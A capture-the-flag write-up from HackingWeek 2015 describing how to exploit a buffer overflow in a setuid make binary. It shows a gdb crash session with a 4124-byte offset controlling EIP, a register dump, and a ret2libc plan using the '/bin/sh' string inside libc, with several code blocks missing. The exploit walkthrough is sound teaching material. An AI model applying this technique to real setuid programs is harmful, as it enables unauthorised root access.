(HackingWeek 2015) Make CVE-????-????
The easy way
)
;
;
We have a setuid make available. The intended bug to exploit was a
buffer overflow in the name of the target (when given in argument)
but there was a way to validate the challenge by creating a Makefile with the
following content:
Challenge done :( Due to the fact that the two firsts ones were not involving
any advanced exploitation, I think everybody just tried to read the file from
the Makefile.
Or exploit it?
The creator of the challenge created an “exploit 5”, disallowing the use of the previous trick and asking us to exploit it another way. Googlin' around leads to a a PoC by HyP.
guest@ns314076:/home/exploit05/project$ gdb ./safe-run -q
Reading symbols from /home/exploit05/project/safe-run...(no debugging symbols found)...done.
(gdb) r $(python -c "print 'A' * 4124 + 'BBBB'")
Starting program: /home/exploit05/project/safe-run $(python -c "print 'A' * 4124 + 'BBBB'")
command: /home/exploit05/project/make -f /home/exploit05/project/...[...]...
process 2422 is executing new program: /home/exploit05/project/make
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
make: /home/exploit05/project/...[...]...: File name too long
make: stat: /home/exploit05/project/...[...]...: File name too long
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0x807e470 134734960
edx 0xb7fce3f0 -1208163344
ebx 0x41414141 1094795585
esp 0xbfff6a70 0xbfff6a70
ebp 0x41414141 0x41414141
esi 0x41414141 1094795585
edi 0x41414141 1094795585
eip 0x42424242 0x42424242
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
The NX bit is enabled but not the ASLR. The wrapper created for the “exploit 5”
challenge is cleaning the environment variables before calling make. We can try
to do a mprotect + jmp ropchain or a ret2libc. I was not familiar with the
latter, so I tried it :-)
()
()
A nice trick is that we don't have to push /bin/sh on the stack for system and
try to find his address: this string is already present into the libc!
|
We know where the libc is mapped:
It's easy to calculate the address of this string in memory: hex(0xb7e6d004 + 0x013c190) = 0xb7fa9190
()
We have everything, so let's dot it:
|